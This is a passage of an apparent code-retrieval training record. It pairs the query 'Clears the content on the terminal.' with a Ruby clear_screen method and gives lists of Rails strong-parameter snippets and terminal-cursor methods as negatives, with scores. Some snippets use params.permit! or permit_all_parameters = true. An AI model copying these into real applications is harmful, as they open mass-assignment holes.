"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Clears the content on the terminal.
|
def clear_screen
print "\e[2J"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clear\n Vedeu::Terminal.clear\n end",
"def clear\n writeln(\"clear\")\n end",
"def clear\n say \"\\e[2J\\e[H\"\n end",
"def clear\n $stdout.print \"\\n\"\n $stdout.flush\n end",
"def clear; puts \"\\e[2J\" end",
"def clear_screen\n output(Esc.string('clear'))\n end",
"def clear()\n \n if OS.linux? or OS.mac?\n\n system(\"clear\")\n\n elsif OS.windows?\n\n system(\"cls\")\n\n end\n\n end",
"def clear\n puts \"\\n\" # pour certaines méthodes\n puts \"\\033c\"\nend",
"def clear_scr\n system 'clear'\n system 'cls'\n end",
"def clear_terminal\n system(\"cls\") || system(\"clear\")\nend",
"def clear\n system 'clear'\n \n end",
"def clear\n puts \"\\e[2J\\e[f\"\nend",
"def clear\r\n system('clear')\r\n end",
"def clear\n send_cmd \"clear\"\n nil\n end",
"def clear\n \"\\e[2J\\e[H\"\nend",
"def clear_stdout\n $stdout.string = ''\n end",
"def clear_display\n system('clear') || system('clc')\n end",
"def clear!\n @output = ''\n @verbose = false\n end",
"def clear_screen\n puts \"\\e[H\\e[2J\"\n end",
"def clear_line; print \"\\e[2K\" end",
"def clear_screen\n\t\tputs \"Clearing screen\"\n\t\tsystem(CLEAR_COMMAND)\n\tend",
"def clear_line\n puts \"\\e[0A\\e[0G\"\n end",
"def clear_screen\r\n system('clear') || system('cls')\r\n end",
"def clear_cli\n system 'clear'\n end",
"def clear_line!\n print \"\\r\\e[2K\"\n end",
"def clear_stream\n @stream.print(' ' * IO.console.winsize[1])\n end",
"def print_clear; print \"\\e[0J\" end",
"def clear\n\n # remove the trailing newline, otherwise an upper line will get eaten\n @rendered.sub!(/\\n\\z/, '')\n\n # determine how many lines to move up\n lines = @rendered.scan(/\\n/).length\n\n if @bottomline\n print IOChar.cursor_down + IOChar.carriage_return + IOChar.clear_line + IOChar.cursor_up\n end\n\n # jump back to the first position and clear the line\n print IOChar.cursor_down + IOChar.carriage_return + IOChar.clear_line + IOChar.cursor_up + IOChar.clear_line + IOChar.carriage_return + ( IOChar.cursor_up + IOChar.clear_line ) * lines + IOChar.clear_line\n end",
"def clear\n WIN_OS ? system(\"cls\") : system(\"clear\")\n end",
"def clear\n @lines.clear\n end",
"def clear_screen\n\tputs \"\\e[2J\" \n print \"\\e[H\"\nend",
"def clear_screen\n system \"clear\" or system \"cls\"\n end",
"def clear_screen\n system \"clear\" or system \"cls\"\n end",
"def clear\n system 'clear'\n end",
"def clear\n system 'clear'\n end",
"def clear_screen!\n print \"\\e[2J\"\n end",
"def clear_all\n Terminal.move_up(previous_draw_amount_of_lines)\n Terminal.clear_screen_from_cursor\n end",
"def puts_clear; puts \"\\e[0J\" end",
"def enter_to_clear\n begin\n system('stty raw -echo')\n response = STDIN.getc\n ensure\n system('stty -raw echo')\n end\n if response.chr == \"\\r\"\n system('clear')\n end\n exit\n end",
"def clear\n system('clear')\nend",
"def clear\n system('clear')\nend",
"def clear\n system('clear')\nend",
"def clear\n system('clear')\nend",
"def clear_output\n clear_output = ''\n\n (by..byn).each do |row|\n clear_output << \"\\e[#{row};#{bx}H\" + (' ' * width)\n end\n\n # reset cursor to top left of document\n clear_output << \"\\e[#{by};#{bx}H\"\n end",
"def clear_terminal\n RUBY_PLATFORM =~ /win32|win64|\\.NET|windows|cygwin|mingw32/i ? system('cls') : system('clear')\n end",
"def clear\n # Work in both unix and win32 shells\n system(\"cls\") || system(\"clear\")\nend",
"def clear_screen\n print \"\\e[2J\"\nend",
"def clear_screen\n print \"\\e[2J\"\nend",
"def clear\n system \"clear\"\nend",
"def clearConsole()\n system \"clear\" or system \"cls\"\nend",
"def clearConsole()\n system \"clear\" or system \"cls\"\nend",
"def clear_to_end\n ConsoleGlitter.escape('0J')\n end",
"def clear_screen\n puts `clear`\nend",
"def clear_screen\n print \"\\e[2J\\e[f\"\nend",
"def clear\n VIM::command(\"%d\")\n end",
"def clear\n ''\n end",
"def clear_screen\n system('clear') || system('cls')\nend",
"def clear_screen\n system('clear') || system('cls')\nend",
"def clear_screen\n \"\\e[2J\\e[H\"\nend",
"def clear_screen\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\n puts\r\nend",
"def do_clear\n @editor.value = ''\n @editor.focus\n end",
"def clear_to_cursor; print \"\\e[1K\" end",
"def clearScreen\n puts \"\\e[H\\e[2J\"\nend",
"def clear_output\n @out_notes.clear\n self\n end",
"def clear_screen\n CSI + '2J'\n end",
"def self_clear\n print \"\\e[2J\\e[f\"\nend",
"def clear_frame\n print(\"\\e[1K\\e[G\")\n end",
"def clear\n Vedeu::Direct.write(value: clear_output, x: bx, y: by)\n end",
"def reset\n STDOUT.write \"\\033[0m\"\n end",
"def clear\n system 'clear'\n nil\nend",
"def clear\n # If n is 2, clear entire screen (and moves cursor to upper left on DOS ANSI.SYS).\n print \"\\e[2J\\e[H\"\n end",
"def clear_screen\n system \"clear\" or system \"cls\"\nend",
"def clear_screen\n print @screen.to_s\n end",
"def reset_screen_clearing\n @clear_screen = false\n @clear_screen_code = \"\\e[H\\e[2J\"\n end",
"def clean_screen\n sleep 1\n system 'clear'\n end",
"def clear_to_beginning\n ConsoleGlitter.escape('1J')\n end",
"def clear_terminal\n Gem.win_platform? ? (system 'cls') : (system 'clear')\nend",
"def clear\n @buffer.clear\n end",
"def clear\n require 'rbconfig'\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n \n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n \t\tputs \"hallo\"\n\n system('cls')\n else\n \t\tputs('mac')\n system('clear')\n end\n end",
"def clear\n io.truncate(0)\n io_index.clear\n self\n end",
"def clear_stdout\n $stdout.string = '' if $stdout.is_a?(StringIO)\n end",
"def clean_terminal\r\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\r\n end",
"def clearscreen\n system('cls')\nend",
"def clear_output(wait=false)\n Display.clear_output(wait)\n end",
"def clear() end",
"def clear() end",
"def clear_line\n CLEAR_LINE\n end",
"def reset_terminal\n # Reset the terminal to a useable state (undo all changes).\n # '\\e[?7h': Re-enable line wrapping.\n # '\\e[?25h': Unhide the cursor.\n # '\\e[2J': Clear the terminal.\n # '\\e[;r': Set the scroll region to its default value.\n # Also sets cursor to (0,0).\n # '\\e[?1049l: Restore main screen buffer.\n print \"\\e[?7h\\e[?25h\\e[2J\\e[;r\\e[?1049l\"\n\n # Show user input.\n system 'stty echo'\nend",
"def clear\r\n @commands.clear\r\n nil\r\n end",
"def clear_line\n print \"\\r%s\\r\" % ' ' * columns\n end",
"def clear\n @display.clear\n end",
"def clear\n @commands.clear\n nil\n end",
"def clear_buffer\n buffer.clear\n end",
"def clear\n end",
"def clear\n end",
"def clear\n do_clear\n end",
"def cls\n system('clear') || system('cls')\n end",
"def clear_stdout!\n @stdout_handler.clear!\n end",
"def clear\n end",
"def clear_screen\n CLEAR_SCREEN\n end"
] |
[
"0.8359948",
"0.8284612",
"0.81729245",
"0.8137704",
"0.80802065",
"0.8023881",
"0.790318",
"0.78844434",
"0.7856834",
"0.7841468",
"0.7751501",
"0.77504057",
"0.77225745",
"0.7680787",
"0.7658171",
"0.7630129",
"0.7626044",
"0.757768",
"0.7562108",
"0.75187033",
"0.75185066",
"0.7518298",
"0.7506755",
"0.75062674",
"0.74854845",
"0.74828565",
"0.74783915",
"0.7472838",
"0.7430722",
"0.7420289",
"0.73978776",
"0.7393202",
"0.7393202",
"0.7390565",
"0.7390565",
"0.7389588",
"0.738215",
"0.7356014",
"0.7346156",
"0.7321597",
"0.7318814",
"0.7318814",
"0.7318814",
"0.73135006",
"0.731107",
"0.72689813",
"0.7265904",
"0.7265904",
"0.7250219",
"0.72470975",
"0.72470975",
"0.72292125",
"0.72242284",
"0.7190389",
"0.71886",
"0.71797365",
"0.71702826",
"0.71702826",
"0.71526784",
"0.71443844",
"0.71198183",
"0.7117485",
"0.71099085",
"0.7103803",
"0.7088938",
"0.7086019",
"0.70855194",
"0.7079446",
"0.70697933",
"0.7024644",
"0.7012615",
"0.7005872",
"0.7005616",
"0.6972821",
"0.69565934",
"0.6948659",
"0.6932138",
"0.69189316",
"0.6916758",
"0.6901255",
"0.6894009",
"0.6888886",
"0.6884561",
"0.6859129",
"0.6844865",
"0.6844865",
"0.684221",
"0.68349683",
"0.6821297",
"0.6820194",
"0.68084246",
"0.6804395",
"0.6803503",
"0.67680395",
"0.67680395",
"0.67664695",
"0.6760015",
"0.6749253",
"0.67462724",
"0.6707173"
] |
0.72979015
|
45
|
Moves the insert point in the terminal to the upper left.
|
def move_to_home
print "\e[H"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def undo_move(move)\n self.cells[move.to_i - 1] = \" \"\n end",
"def winsertln\n Ncurses.winsertln(pointer)\n end",
"def move_to(x, y); puts \"\\e[#{y};#{x}G\" end",
"def move_left\n # @dx = -8\n @x -= 8\n end",
"def insert_segment_below()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_insert_segment_below(@handle.ptr)\n end",
"def move_left\n\t\tmove([-1,0])\n\tend",
"def move_to_column(x); puts \"\\e[#{x}F\" end",
"def insert_left(obj)\n self.left, self.right = obj.left, obj\n reinsert_horizontal\n end",
"def insert_above(other)\n self.up, self.down = other.up, other\n reinsert_vertical\n end",
"def insert_at_bottom\n assume_bottom_position\n end",
"def restore_cursor_position() set_cursor_position(@event[\"line\"], @event[\"column\"]) end",
"def move_west\n @x -= 1\n end",
"def cursor_up(wrap)\n if @index >= 10\n @index -= 10\n elsif wrap\n @index += 80\n end\n end",
"def move_left(array)\r\n set_current_row_col(array)\r\n new_col = (@current_col == 0) ? array.first.length - 1 : @current_col - 1 # This logic will decide the new co-ordinated of space\r\n current_ele = array[@current_row][new_col]\r\n array[@current_row][new_col] = ' '\r\n replace_existing_element(array,current_ele, @current_row, @current_col)\r\n array\r\n end",
"def move_to_end_up(n); print \"\\e[#{n}F\" end",
"def paste_before()\n clipboard = send_message(\"getClipboardContents\" => [])[\"clipboardContents\"]\n if clipboard[-1].chr == \"\\n\"\n [\"moveToBeginningOfLine:\", \"paste\"] + restore_cursor_position + [\"moveToBeginningOfLine:\"] +\n (is_whitespace?(clipboard[0].chr) ? [\"moveWordForward:\"] : [])\n else\n [\"paste\", \"moveForward:\"]\n end\n end",
"def insert_segment_above()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_insert_segment_above(@handle.ptr)\n end",
"def move_backward(n); print \"\\e[#{n}D\" end",
"def move_to_start\n @cursor = 0\n end",
"def move_to_start\n @cursor = 0\n end",
"def move\n @cursor.x = wrap(@cursor.x + @delta.x, @code.width)\n @cursor.y = wrap(@cursor.y + @delta.y, @code.height)\n end",
"def before(val) insertion(val, 0) end",
"def move_left\n @memory_position -= 1\n @memory_position = 0xfffffe if @memory_position < 0\n end",
"def move_down\n\t\tmove([0,1])\n\tend",
"def move_to_start_down(n); print \"\\e[#{n}E\" end",
"def delete_left(count = 1)\n if self.cursor_can_move_left?\n # limiting character count\n count = @cursor_position if count > @cursor_position\n # split text at cursor with one character removed left from the cursor\n chars = @text.scan(/./m)\n left = (@cursor_position > count ? chars[0, @cursor_position - count] : [])\n if @cursor_position < chars.size\n right = chars[@cursor_position, chars.size - @cursor_position]\n else\n right = []\n end\n # set cursor at right position\n @cursor_position -= count\n # put together the split halves\n self.text = (left + right).join\n self.reset_cursor_blinking\n end\n end",
"def restore_cursor; puts \"\\e[u\" end",
"def move_segments_up()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_move_segments_up(@handle.ptr)\n end",
"def move_down(n); print \"\\e[#{n}B\" end",
"def move\n check_placement\n\n new_position = make_move(current_position, direction)\n position(new_position[0], new_position[1], @table.size)\n end",
"def move(left, top)\n # no-op\n end",
"def move_foward(n); print \"\\e[#{n}C\" end",
"def move_to(row = nil, column = nil)\n return CSI + 'H' if row.nil? && column.nil?\n CSI + \"#{column + 1};#{row + 1}H\"\n end",
"def cursor_dn\n @cursor_movement = :down\n @old_cursor = @cursor\n move_to(pos + 1)\nend",
"def from_left(cur)\n\t\tmove(cur, 0, -1)\n\tend",
"def from_up(cur)\n\t\tmove(cur, -1, 0)\n\tend",
"def insert_at(position = 1)\n move_to_child_with_index(parent, position - 1)\n end",
"def cursor_left(*args)\n call_handler(:LEFT)\n end",
"def move_left\n move_to_left_of left_sibling\n end",
"def up_down_line(count)\n insert = at_insert\n\n # if the last movement was not done by up_down_*, set new origin.\n @udl_pos_orig = insert if @udl_pos_prev != insert\n\n # count lines between origin and current insert position.\n lines = count(@udl_pos_orig, insert, :lines)\n # now get the target count lines below.\n target = index(\"#{@udl_pos_orig} + #{lines + count} lines\")\n\n @udl_pos_prev = target\n\n # if target has the same char pos as the previous one, use it as origin.\n @udl_pos_orig = target if target.char == @udl_pos_orig.char\n target\n end",
"def left(n = 1)\n @cursor = [0, @cursor - n].max\n end",
"def left(n = 1)\n @cursor = [0, @cursor - n].max\n end",
"def cursor_left(wrap)\n if @index % 10 > 0\n @index -= 1\n elsif wrap\n @index += 9\n end\n end",
"def left\n cursor.left\n\n refresh\n end",
"def move_to_end\n @cursor = @text.length # put cursor outside of text\n end",
"def move_to_end\n @cursor = @text.length # put cursor outside of text\n end",
"def move_up\n current_y = position[0] - 1\n position[0] = (current_y < 0 ) ? (width-1) : current_y\n end",
"def move_right\n\t\tmove([1,0])\n\tend",
"def moveLeft(dist)\n @body.p.x -= dist\n end",
"def move_to_left_of(node)\n move_to node, :left\n end",
"def move_to_left_of(node)\n move_to node, :left\n end",
"def move_to_left_of(node)\n move_to node, :left\n end",
"def move_down\n return if at_bottom?\n self.class.where(:position => self.position + 1).first.inc(:position, -1)\n inc(:position, 1)\n end",
"def move_higher\n movement { self.position -= 1 }\n end",
"def move_lower\n movement { self.position += 1 }\n end",
"def move_down(array)\r\n set_current_row_col(array)\r\n new_row = @current_row == array.length - 1 ? 0 : @current_row + 1 # This logic will decide the new co-ordinated of space\r\n current_ele = array[new_row][@current_col]\r\n array[new_row][@current_col] = ' '\r\n replace_existing_element(array,current_ele, @current_row, @current_col)\r\n array\r\n end",
"def up_down_displayline(count)\n insert = at_insert\n\n @udl_pos_orig = insert if @udl_pos_prev != insert\n\n lines = count(@udl_pos_orig, insert, :displaylines)\n target = index(\"#{@udl_pos_orig} + #{lines + count} displaylines\")\n @udl_pos_prev = target\n\n @udl_pos_orig = target if target.char == @udl_pos_orig.char\n target\n end",
"def move_up_left\n i = 1\n until false\n x, y = @pos\n x -= i\n y -= i\n pos = [x, y]\n break if x > 7 || x < 0 || y > 7 || y < 0 || @board[pos].color == @color\n @moves << pos\n break if @board[pos].color != @color\n i += 1\n end\n end",
"def move_east\n @x += 1\n end",
"def move_to(pos)\n if (@current_pos != nil && @current_pos == pos)\n return\n end\n if pos == 5\n self.x = (Graphics.width - self.width) / 2\n self.y = (Graphics.height - self.height) / 2\n end\n if [1, 2, 3].include?(pos)#bottom\n self.y = Graphics.height - self.height\n if @win_help != nil\n self.y -= @win_help.height\n end\n end\n if [1, 4, 7].include?(pos)#left\n self.x = 0\n end\n if [7, 8, 9].include?(pos)#top\n self.y = 0\n end\n if [3, 6, 9].include?(pos)#right\n self.x = Graphics.width - self.width\n end\n @current_pos = pos\n end",
"def cursor_left(wrap = false)\n process_cursor_cancel\n end",
"def set_cursor(position)\r\n print locate((@disks*2+2)*@column+4, @disks+4-position)\r\n end",
"def lower_position!(amount = 2)\n if position > 0\n update!(position: position - amount)\n end\n dashboard.reposition_cells\n position\n end",
"def move_forward\n Proc.new { | spaces | \"#{ @column }#{ forward( spaces ) }\" }\n end",
"def move_up(lines=1)\n self.y -= CONSOLE_LINE_HEIGHT * lines\n end",
"def move_left\n\t\t# if the horse isn;t yet at the left of of the screne move it left 20\n\t\tif @x > 0\n\t\t\t\t@x = @x -20\n\t\tend\n\tend",
"def insert_tab\n insert(cursor, \"\\t\")\n end",
"def insert_line\n down\n\n @lines = lines.insert_line(Vedeu::Editor::Line.new, y)\n\n bol\n\n refresh\n end",
"def set_left_start_point\n @leading_x = 0\n @leading_y = find_left_entry\n end",
"def move_cursor_to(new_y)\n self.y = new_y + bounds.absolute_bottom\n end",
"def undoMove(index)\n @board[index] = \" \"\n end",
"def move_up\n return if at_top?\n self.class.where(:position => self.position - 1).first.inc(:position, 1)\n inc(:position, -1)\n end",
"def insert(insert_val)\n\t\t\tcase value <=> insert_val\n\t\t\twhen 1 \n\t\t\t\tinsert_left insert_val\n\t\t\twhen -1\n\t\t\t insert_right insert_val\n\t\t\twhen 0\n\t\t\t false\n\t\t\tend\n\t\tend",
"def move!(end_pos)\n board.remove_piece(pos)\n\n if (pos[0] - end_pos[0]).abs == 2\n board.remove_piece(jumped_place(end_pos))\n end\n\n self.pos = end_pos\n board.place_piece(self, end_pos)\n\n maybe_promote\n end",
"def make_move(board, display)\n new_pos = nil\n until new_pos\n display.render\n new_pos = display.cursor.get_input\n end\n new_pos\n end",
"def interpret_left(command)\n ensure_placed\n @robot.rotate_left\n end",
"def cursor_move_left_word\n chars = @text.scan(/./m)\n # skip all whitespaces first\n while @cursor_position > 0 && chars[@cursor_position - 1] == ' '\n @cursor_position -= 1\n end\n # skip all non-whitespaces\n while @cursor_position > 0 && chars[@cursor_position - 1] != ' '\n @cursor_position -= 1\n end\n self.reset_cursor_blinking\n end",
"def move(line, column = T.unsafe(nil)); end",
"def move(line, column = T.unsafe(nil)); end",
"def place\n next_move = {x: command.arguments[:x], y: command.arguments[:y]}\n if inside_table?(next_move_x_y(next_move, false))\n update_position!(next_move_x_y(next_move, false))\n update_direction!\n else\n almost_die\n end\n end",
"def left\n position.x\n end",
"def move(y, x)\n Ncurses.wmove(pointer, y, x)\n end",
"def cursor_to_input_line\n setpos(input_line, 0)\n end",
"def slide_move!(end_pos)\n board[end_pos] = self\n board.set_to_empty(self.pos)\n self.pos = end_pos\n end",
"def move_to_bottom\n self.class.transaction do\n decrement_position_of_lower_items\n set_bottom_position\n end\n end",
"def cursor_x\n return (super + 172)\n end",
"def execute\n return unless @robot.placed?\n\n original_position = @robot.position\n new_position = original_position.dup\n new_position.move\n\n @robot.position = new_position if @table.position_valid?(new_position)\n end",
"def move\n position_after_move = @position.new_coordinates_for_step_size(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n #ignore the command if robot is being out off tabletop\n if(@table_top.has_within_bounds?(position_after_move))\n @position = @position.new_coordinates_for(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n end\n end",
"def up\n @level -= 1\n add_newline\n end",
"def backspace() \n\t\t#todo\n\t\tif @cursor_col > 0\n\t\t\tline = line(@cursor_row)\n\t\t\tline[@cursor_col - 1.. @cursor_col - 1] = \"\"\n\t\t\tchange_line(@cursor_row, line)\n\t\t\t@cursor_col -= 1\n\t\t\temit_changed(@cursor_row)\n\t\tend\n\tend",
"def right_mouse_up()\n right_mouse_up_at :center, :center\n end",
"def cursor_move_left\n @cursor_position -= 1 if self.cursor_can_move_left?\n self.reset_cursor_blinking\n end",
"def move_to_left_of(node)\n self.move_to node, :left\n end",
"def move_left\n left_tile = Couple.new(@location.first, @location.second - 1)\n move_to(left_tile)\n end",
"def move_to_root\n move_to nil, :root\n end",
"def move_to_root\n move_to nil, :root\n end",
"def move_to_root\n move_to nil, :root\n end",
"def move2end\n iword = $indexy[0]\n $indexy.delete_at(0)\n $indexy.push(iword)\nend",
"def moveto(point={})\n set RGhost::Cursor.moveto(point)\n end",
"def shift_right\n self.unshift(self.pop)\n end",
"def move_left\n self.move_to_left_of(self.left_sibling)\n end"
] |
[
"0.62482226",
"0.6220207",
"0.61496633",
"0.61180115",
"0.60645413",
"0.6051825",
"0.6044276",
"0.60351044",
"0.5999422",
"0.5970508",
"0.59461266",
"0.5942571",
"0.5930691",
"0.5925796",
"0.59088063",
"0.58950347",
"0.5892893",
"0.5890113",
"0.5880026",
"0.5880026",
"0.58703274",
"0.58607954",
"0.58331084",
"0.5823599",
"0.5806705",
"0.57642794",
"0.5763386",
"0.5758076",
"0.5736839",
"0.5730051",
"0.57143545",
"0.5701006",
"0.5697921",
"0.56967765",
"0.5680062",
"0.5678899",
"0.56761765",
"0.5664428",
"0.5662483",
"0.5657349",
"0.5651149",
"0.5651149",
"0.5649213",
"0.56286705",
"0.56191576",
"0.56191576",
"0.5617407",
"0.5616109",
"0.56098336",
"0.5609259",
"0.5609259",
"0.5609259",
"0.5607557",
"0.56059414",
"0.5604763",
"0.5590208",
"0.55798835",
"0.5578862",
"0.557792",
"0.5568418",
"0.556774",
"0.55641985",
"0.5561488",
"0.5559702",
"0.55586964",
"0.5555707",
"0.5554461",
"0.55523425",
"0.5543597",
